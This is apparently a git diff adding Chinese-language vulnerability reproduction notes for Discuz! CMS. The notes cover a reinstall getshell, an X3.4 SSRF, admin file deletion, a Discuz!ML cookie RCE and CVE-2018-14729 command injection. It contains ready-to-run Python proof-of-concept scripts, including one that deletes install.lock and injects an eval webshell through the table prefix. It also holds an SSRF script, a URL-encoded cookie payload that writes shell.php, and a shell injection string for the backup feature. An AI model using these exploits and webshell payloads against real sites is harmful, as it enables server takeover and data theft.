save_uc_config($config, ROOT_PATH.'./config/config_ucenter.php');
|
||||
|
||||
然后`save_uc_config`也没做任何安全处理,就拼接参数后写入文件:
|
||||
|
||||
function save_uc_config($config, $file) {
|
||||
|
||||
$success = false;
|
||||
|
||||
list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = $config;
|
||||
|
||||
$link = function_exists('mysql_connect') ? mysql_connect($ucdbhost, $ucdbuser, $ucdbpw, 1) : new mysqli($ucdbhost, $ucdbuser, $ucdbpw, $ucdbname);
|
||||
$uc_connnect = $link ? 'mysql' : '';
|
||||
|
||||
$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
|
||||
$year = date('Y');
|
||||
$config = <<<EOT
|
||||
<?php
|
||||
|
||||
|
||||
define('UC_CONNECT', '$uc_connnect');
|
||||
|
||||
define('UC_DBHOST', '$ucdbhost');
|
||||
define('UC_DBUSER', '$ucdbuser');
|
||||
define('UC_DBPW', '$ucdbpw');
|
||||
define('UC_DBNAME', '$ucdbname');
|
||||
define('UC_DBCHARSET', '$ucdbcharset');
|
||||
define('UC_DBTABLEPRE', '`$ucdbname`.$uctablepre');
|
||||
define('UC_DBCONNECT', 0);
|
||||
|
||||
define('UC_CHARSET', '$uccharset');
|
||||
define('UC_KEY', '$appauthkey');
|
||||
define('UC_API', '$ucapi');
|
||||
define('UC_APPID', '$appid');
|
||||
define('UC_IP', '$ucip');
|
||||
define('UC_PPP', 20);
|
||||
?>
|
||||
EOT;
|
||||
|
||||
if($fp = fopen($file, 'w')) {
|
||||
fwrite($fp, $config);
|
||||
fclose($fp);
|
||||
$success = true;
|
||||
}
|
||||
return $success;
|
||||
}
|
||||
|
||||
因为 `dbhost, dbuser`等参数需要用来连接数据库,所以利用 `tablepre`
|
||||
向配置文件写入shell。
|
||||
|
||||
### 漏洞复现
|
||||
|
||||
如果安装后`install/index.php`因为某些原因还存在,直接访问会有如下警告:
|
||||
|
||||

|
||||
|
||||
通过文件删除漏洞删除data目录下的`install.lock`文件就可以重新安装。
|
||||
|
||||
安装过程修改表前缀内容为:`x');@eval($_POST[lanvnal]);('`
|
||||
|
||||

|
||||
|
||||
在`config/config_ucenter.php`中已经写入了webshell。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### poc
|
||||
|
||||
#!/usr/bin/env python3
|
||||
import base64
|
||||
import random
|
||||
import re
|
||||
import string
|
||||
|
||||
import requests
|
||||
|
||||
sess = requests.Session()
|
||||
randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))
|
||||
|
||||
##################################################
|
||||
########## Customize these parameters ############
|
||||
target = 'http://localhost/discuzx'
|
||||
# login target site first, and copy the cookie here
|
||||
cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode"
|
||||
shell_password = randstr()
|
||||
db_host = ''
|
||||
db_user = ''
|
||||
db_pw = ''
|
||||
db_name = ''
|
||||
#################################################
|
||||
|
||||
path = '/home.php?mod=spacecp&ac=profile&op=base'
|
||||
url = target + path
|
||||
|
||||
sess.headers.update({
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
|
||||
'Referer': url})
|
||||
|
||||
|
||||
# sess.proxies.update({'http': 'socks5://localhost:1080'})
|
||||
# sess.proxies.update({'http': 'http://localhost:8080'})
|
||||
|
||||
|
||||
def login(username=None, password=None):
|
||||
sess.headers.update({'Cookie': cookie})
|
||||
|
||||
|
||||
def get_form_hash():
|
||||
r = sess.get(url)
|
||||
match = re.search(r'"member.php\?mod=logging&action=logout&formhash=(.*?)"', r.text, re.I)
|
||||
if match:
|
||||
return match.group(1)
|
||||
|
||||
|
||||
def tamper(formhash, file_to_delete):
|
||||
data = {
|
||||
'formhash': (None, formhash),
|
||||
'profilesubmit': (None, 'true'),
|
||||
'birthprovince': (None, file_to_delete)
|
||||
}
|
||||
r = sess.post(url, files=data)
|
||||
if 'parent.show_success' in r.text:
|
||||
print('tamperred successfully')
|
||||
return True
|
||||
|
||||
|
||||
def delete(formhash, file):
|
||||
if not tamper(formhash, file):
|
||||
return False
|
||||
|
||||
image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='
|
||||
data = {
|
||||
'formhash': formhash,
|
||||
'profilesubmit': 'true'
|
||||
}
|
||||
files = {
|
||||
'birthprovince': ('image.png', base64.b64decode(image), 'image/png')
|
||||
}
|
||||
r = sess.post(url, data=data, files=files)
|
||||
if 'parent.show_success' in r.text:
|
||||
print('delete {} successfully'.format(file))
|
||||
return True
|
||||
|
||||
|
||||
def getshell():
|
||||
install_url = target + '/install/index.php'
|
||||
r = sess.get(install_url)
|
||||
if '安装向导' not in r.text:
|
||||
print('install directory not exists')
|
||||
return False
|
||||
|
||||
table_prefix = "x');@eval($_POST[{}]);('".format(shell_password)
|
||||
data = {
|
||||
'step': 3,
|
||||
'install_ucenter': 'yes',
|
||||
'dbinfo[dbhost]': db_host,
|
||||
'dbinfo[dbname]': db_name,
|
||||
'dbinfo[dbuser]': db_user,
|
||||
'dbinfo[dbpw]': db_pw,
|
||||
'dbinfo[tablepre]': table_prefix,
|
||||
'dbinfo[adminemail]': 'admin@admin.com',
|
||||
'admininfo[username]': 'admin',
|
||||
'admininfo[password]': 'admin',
|
||||
'admininfo[password2]': 'admin',
|
||||
'admininfo[email]': 'admin@admin.com',
|
||||
}
|
||||
r = sess.post(install_url, data=data)
|
||||
if '建立数据表 CREATE TABLE' not in r.text:
|
||||
print('write shell failed')
|
||||
return False
|
||||
print('shell: {}/config/config_ucenter.php'.format(target))
|
||||
print('password: {}'.format(shell_password))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
login()
|
||||
form_hash = get_form_hash()
|
||||
if form_hash:
|
||||
delete(form_hash, '../../../data/install.lock')
|
||||
getshell()
|
||||
else:
|
||||
print('failed')
|
||||
|
||||
参考链接
|
||||
--------
|
||||
|
||||
> https://xz.aliyun.com/t/7492\#toc-7
|
After Width: | Height: | Size: 154 KiB |
After Width: | Height: | Size: 183 KiB |
After Width: | Height: | Size: 216 KiB |
After Width: | Height: | Size: 291 KiB |
After Width: | Height: | Size: 293 KiB |
136
CMS/Discuz/Discuz! X3.4 前台ssrf/Discuz! X3.4 前台ssrf.md
Normal file
@ -0,0 +1,136 @@
|
||||
Discuz! X3.4 前台ssrf
|
||||
=====================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
DDiscuz! X3.4
|
||||
source/module/misc/misc\_imgcropper.php页面中的cutimg参数,因为应用程序的远程下载功能过滤不严,配合前台任意URL跳转漏洞,可以造成SSRF漏洞,可以对与外部隔离的内部环境进行探测和攻击
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
- \<= x3.4
|
||||
|
||||
- windows
|
||||
|
||||
- php\>5.3+php-curl\<=7.54
|
||||
|
||||
- DZ开放在80端口
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
### 漏洞分析
|
||||
|
||||
**本地ssrf**
|
||||
|
||||
/source/module/misc/misc\_imgcropper.php 55行
|
||||
|
||||
require_once libfile('class/image'); $image = new image(); $prefix = $_GET['picflag'] == 2 ? $_G['setting']['ftp']['attachurl'] : $_G['setting']['attachurl']; if(!$image->Thumb($prefix.$_GET['cutimg'], $cropfile, $picwidth, $picheight)) { showmessage('imagepreview_errorcode_'.$image->errorcode, null, null, array('showdialog' => true, 'closetime' => true)); }
|
||||
$prefix`可以通过GET传递`$_GET['picflag']`为2进行三元操作,变成了默认的`/`,然后和`$_GET['cutimg']`进行拼接作为第一个参数传进了`$image->Thumb
|
||||
|
||||
source/class/class\_image.php 51行
|
||||
|
||||
function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) { $return = $this->init('thumb', $source, $target, $nosuffix); }
|
||||
|
||||
拼接后的参数作为`$source`又传进了init函数
|
||||
|
||||
source/class/class\_image.php 118行
|
||||
|
||||
function init($method, $source, $target, $nosuffix = 0) { global $_G; $this->errorcode = 0; if(empty($source)) { return -2; } $parse = parse_url($source); if(isset($parse['host'])) { if(empty($target)) { return -2; } $data = dfsockopen($source); $this->tmpfile = $source = tempnam($_G['setting']['attachdir'].'./temp/', 'tmpimg_'); if(!$data || $source === FALSE) { return -2; } file_put_contents($source, $data); }
|
||||
|
||||
可以发现如果`$source`经过`parse_url`的解析结果中如果包含host字段就不结束流程,然后将`$source`参数传入`dfsockopen`函数。Php中的`parse_url`函数是可以对`//`开头的域名进行解析的,
|
||||
`$source`本身就是`/`开头,因此只需要通过开始的`$_GET['cutimg']`注入`/www.0-sec.org,变成`//www.0-sec.org\`即可继续执行。
|
||||
|
||||

|
||||
|
||||
source/function/function\_core.php 199行
|
||||
|
||||
function dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype = 'URLENCODE', $allowcurl = TRUE, $position = 0, $files = array()) { require_once libfile('function/filesock'); return _dfsockopen($url, $limit, $post, $cookie, $bysocket, $ip, $timeout, $block, $encodetype, $allowcurl, $position, $files);}
|
||||
|
||||
进入dfsockopen函数后,我们构造的字符串变为\$url,然后传入了\_dfsockopen函数。
|
||||
|
||||
dz/source/function/function\_filesock.php 31行
|
||||
|
||||
image
|
||||
|
||||
发起了curl请求,就是这里触发了ssrf,这里的现有使用后parse\_url解析了一次\$url,和上面的解析是一样的,然后又进行了拼接成为了curl的地址。
|
||||
|
||||

|
||||
|
||||
其\$scheme为空,如果我们为cutimg传入/dz//member.php,那么到就会变成://dz//member.php
|
||||
|
||||

|
||||
|
||||
在php的curl中我们尝试访问://dz/forum.php
|
||||
|
||||

|
||||
|
||||
可以发现无指定协议的默认就是http协议,://是代表访问本地dz/forum.php表示路径和path,因此能够访问首页,到这里就有了一个可以对通网站下进行ssrf的漏洞点。
|
||||
|
||||
Curl的配置当中开启了跳转
|
||||
|
||||

|
||||
|
||||
再找到一个站内的url跳转,就能绕过站内curl的限制,实现真正的ssrf。
|
||||
|
||||
### 前台任意url跳转
|
||||
|
||||
/source/class/class\_member.php 310行
|
||||
|
||||

|
||||
|
||||
调用了dreferer()结果作为跳转地址,继续跟进该函数。
|
||||
|
||||
source/function/function\_core.php 1498行
|
||||
|
||||

|
||||
|
||||
`$_G['referer']`这个参数我们可控,同样使用了`parse_url`进行了解析,首先对协议进行了判断,需要属于`http/https`。
|
||||
|
||||
然后又对host字段和`$_SERVER['HTTP_HOST']`进行了对比,判断是否在同一个域名下,因为攻击中是通过curl发起的请求,\$\_SERVER\['HTTP\_HOST'\]此时为空,但是和www.进行了,因此这里域名为`www.`即可绕过判断成功注入location字段
|
||||
|
||||
此时处理跳转的是php的curl,curl这里会因为`#@`出现解析问题,会跳转到192.168.2.63:6666,也就是形成ssrf。
|
||||
|
||||

|
||||
|
||||
站内ssrf-\>前台get型的任意url跳转-\>ssrf漏洞
|
||||
|
||||
**总结**:
|
||||
|
||||
因为应用程序的远程下载功能过滤不严,利用php中的parse\_url还有curl解析特性,配合前台任意URL跳转漏洞,可以造成SSRF漏洞。
|
||||
|
||||
### poc
|
||||
|
||||
htp://www.0-sec.org/code-src/dz/Discuz_TC_BIG5/upload/member.php?mod=logging&action=logout&XDEBUG_SESSION_START=13904&referer=http://localhost%23%40www.baidu.com&quickforward=1
|
||||
|
||||
### python 脚本
|
||||
|
||||
# coding=utf-8
|
||||
import requests
|
||||
import re
|
||||
from urllib.parse import urlparse, quote
|
||||
from urllib import parse
|
||||
if __name__ == "__main__":
|
||||
url = "http://192.168.66.129/dz/"
|
||||
ssrf_target = "192.168.0.36:6666"
|
||||
path = urlparse(url).path
|
||||
payload = quote(
|
||||
"/member.php?mod=logging&action=logout&quickforward=1&referer=http://www.%23%40{ssrf_target}".format(
|
||||
ssrf_target=ssrf_target))
|
||||
s = requests.Session()
|
||||
html = s.get(url).text
|
||||
searchObj = re.search(r'name="formhash" value="(.*?)"', html, re.M | re.I)
|
||||
formhash = searchObj.group(1)
|
||||
rs = s.post(
|
||||
url + "misc.php?mod=imgcropper&imgcroppersubmit=1&formhash={formhash}&picflag=2&cutimg={path}{payload}".format(
|
||||
formhash=formhash, path=path, payload=payload))
|
||||
exit()
|
||||
|
||||

|
||||
|
||||
参考链接
|
||||
--------
|
||||
|
||||
> [http://www.rai4over.cn/2018/12/07/Discuz-3-4%E5%89%8D%E5%8F%B0%E6%9C%89%E9%99%90%E5%88%B6SSRF%E6%BC%8F%E6%B4%9E/index.html](http://www.rai4over.cn/2018/12/07/Discuz-3-4前台有限制SSRF漏洞/index.html)
|
After Width: | Height: | Size: 389 KiB |
After Width: | Height: | Size: 27 KiB |
After Width: | Height: | Size: 317 KiB |
After Width: | Height: | Size: 443 KiB |
After Width: | Height: | Size: 41 KiB |
After Width: | Height: | Size: 119 KiB |
After Width: | Height: | Size: 242 KiB |
After Width: | Height: | Size: 309 KiB |
After Width: | Height: | Size: 518 KiB |
77
CMS/Discuz/Discuz! X3.4 后台任意文件删除/Discuz! X3.4 后台任意文件删除.md
Normal file
@ -0,0 +1,77 @@
|
||||
Discuz! X3.4 后台任意文件删除
|
||||
=============================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
后台任意文件删除,需要有管理员的权限。
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
Discuz!X V3.4
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
### 漏洞分析
|
||||
|
||||
分析一下该请求的流程。
|
||||
|
||||
请求URL:`/dz/upload/admin.php?action=forums&operation=edit&fid=2&replybgnew=../../../testfile.txt&delreplybg=1`
|
||||
|
||||
在`admin.php`中接收了action参数,在第58行经过`admincpfile`函数处理后返回文件路径,并包含该文件。
|
||||
|
||||
if($admincp->allow($action, $operation, $do) || $action == 'index') {
|
||||
require $admincp->admincpfile($action);
|
||||
|
||||
看一下该函数的处理过程:
|
||||
|
||||
function admincpfile($action) {
|
||||
return './source/admincp/admincp_'.$action.'.php';
|
||||
}
|
||||
|
||||
经过处理返回的内容是:`./source/admincp/admincp_forums.php`,也就来到了漏洞存在的地方。
|
||||
|
||||
根据if/else的判断条件,进入else中的代码:
|
||||
|
||||
if(!submitcheck('detailsubmit')) {
|
||||
......
|
||||
}
|
||||
else{
|
||||
|
||||
}
|
||||
|
||||
造成漏洞的代码:
|
||||
|
||||
if(!$multiset) {
|
||||
if($_GET['delreplybg']) {
|
||||
$valueparse = parse_url($_GET['replybgnew']);
|
||||
if(!isset($valueparse['host']) && file_exists($_G['setting']['attachurl'].'common/'.$_GET['replybgnew'])) {
|
||||
@unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']);
|
||||
}
|
||||
$_GET['replybgnew'] = '';
|
||||
}
|
||||
|
||||
`$multiset`默认为0,只要不给该参数赋值就满足条件进入if语句。
|
||||
|
||||
第二个if语句,检查GET参数`delreplybg`有没有内容,然后做了下检测,检测parse\_url函数返回的结果中有没有host这个变量,来确保GET参数`replybgnew`不是url,但是并不影响传入文件路径。
|
||||
|
||||
这里`$_G['setting']['attachurl'`的值为`data/attachment/`,再拼接上`common/`和`$_GET['replybgnew']`,这样路径就可控了。通过unlink达到文件删除的目的。
|
||||
|
||||
### 漏洞复现
|
||||
|
||||
登陆后台,进入论坛-\>模块管理-\>编辑板块,使用burp拦截提交的数据。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
发送,查看文件发现被删除。
|
||||
|
||||

|
||||
|
||||
参考链接
|
||||
--------
|
||||
|
||||
> https://xz.aliyun.com/t/7492\#toc-7
|
After Width: | Height: | Size: 225 KiB |
After Width: | Height: | Size: 276 KiB |
After Width: | Height: | Size: 148 KiB |
33
CMS/Discuz/Discuz!ML 3.x 代码执行漏洞/Discuz!ML 3.x 代码执行漏洞.md
Normal file
@ -0,0 +1,33 @@
|
||||
Discuz!ML 3.x 代码执行漏洞
|
||||
==========================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
漏洞类型:代码执行漏洞漏洞原因:Discuz!ML
|
||||
系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。
|
||||
|
||||
二、影响范围
|
||||
------------
|
||||
|
||||
- Discuz!ML V3.2-3.4
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
cookie字段中会出现xxxx\_xxxx\_language字段,根本原因就是这个字段存在注入,导致的RCE抓包找到cookie的language的值修改为
|
||||
|
||||
xxxx_xxxx_language=sc'.phpinfo().'
|
||||
|
||||
getshell
|
||||
|
||||
%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27
|
||||
|
||||
实际为:
|
||||
|
||||
'.+file_put_contents('shell.php',urldecode('<?php eval($_POST["1"]);?>')).'
|
||||
|
||||
即可在路径下生成shell.php,连接密码为1
|
||||
|
||||
https://github.com/ianxtianxt/discuz-ml-rce
|
||||
-------------------------------------------
|
After Width: | Height: | Size: 59 KiB |
After Width: | Height: | Size: 224 KiB |
After Width: | Height: | Size: 291 KiB |
After Width: | Height: | Size: 419 KiB |
After Width: | Height: | Size: 468 KiB |
After Width: | Height: | Size: 288 KiB |
@ -0,0 +1,100 @@
|
||||
(CVE-2018-14729)Discuz!X 1.5 \~ X2.5 后台数据库备份功能远程命令执行 Getshell
|
||||
==============================================================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
Discuz! X1.5-2.5
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
### 漏洞分析
|
||||
|
||||
需要注意的是这个漏洞其实是需要登录后台的,并且能有数据库备份权限,所以比较鸡肋。
|
||||
|
||||
我这边是用Discuz! 2.5完成漏洞复现的,并用此进行漏洞分析的。
|
||||
|
||||
漏洞点在:
|
||||
|
||||
source/admincp/admincp_db.php
|
||||
|
||||
第296行:
|
||||
|
||||
@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($_GET['extendins'] == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $_GET['sqlcompat'] == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);
|
||||
|
||||
在shell\_exec()函数中可控点在\$tablesstr,向上看到第281行:
|
||||
|
||||
$tablesstr = '';
|
||||
foreach($tables as $table) {
|
||||
$tablesstr .= '"'.$table.'" ';
|
||||
}
|
||||
|
||||
跟一下\$table的获取流程,在上面的第143行:
|
||||
|
||||
if($_GET['type'] == 'discuz' || $_GET['type'] == 'discuz_uc')
|
||||
{
|
||||
$tables = arraykeys2(fetchtablelist($tablepre), 'Name');
|
||||
}
|
||||
elseif($_GET['type'] == 'custom')
|
||||
{
|
||||
$tables = array();
|
||||
if(empty($_GET['setup']))
|
||||
{
|
||||
$tables = C::t('common_setting')->fetch('custombackup', true);
|
||||
}
|
||||
else
|
||||
{
|
||||
C::t('common_setting')->update('custombackup', empty($_GET['customtables'])? '' : $_GET['customtables']);
|
||||
$tables = & $_GET['customtables'];
|
||||
}
|
||||
if( !is_array($tables) || empty($tables))
|
||||
{
|
||||
cpmsg('database_export_custom_invalid', '', 'error');
|
||||
}
|
||||
}
|
||||
|
||||
可以看到:
|
||||
|
||||
C::t('common_setting')->update('custombackup', empty($_GET['customtables'])? '' : $_GET['customtables']);
|
||||
$tables = & $_GET['customtables'];
|
||||
|
||||
首先会从\$\_GET的数组中获取customtables字段的内容,判断内容是否为空,不为空则将从外部获取到的customtables字段内容写入common\_setting表的skey=custombackup的svalue字段,写入过程中会将这个字段做序列化存储:
|
||||
|
||||
Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId25.jpg)
|
||||
|
||||
之后再将该值赋给\$tables。
|
||||
|
||||
至此可以看到漏洞产生的原因是由于shell\_exec()中的\$tablesstr可控,导致代码注入。
|
||||
|
||||
### 漏洞复现
|
||||
|
||||
首先抓个包
|
||||
|
||||
Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId27.jpg)
|
||||
|
||||
这样可以抓到符合我们条件的请求包。
|
||||
|
||||
Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId28.jpg)
|
||||
|
||||
接下来只需要将customtables的内容更改一下就可以造成命令执行了:
|
||||
|
||||
customtables[] = pre_common_admincp_cmenu">aaa; echo '<?php phpinfo(); ?>' > phpinfo.php #
|
||||
|
||||
Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId29.jpg)
|
||||
|
||||
Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId30.jpg)
|
||||
|
||||
效果为:
|
||||
|
||||
Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId31.jpg)
|
||||
|
||||
参考链接
|
||||
--------
|
||||
|
||||
> https://github.com/FoolMitAh/CVE-2018-14729/blob/master/Discuz\_backend\_getshell.md
|
||||
>
|
||||
> https://www.anquanke.com/post/id/158270
|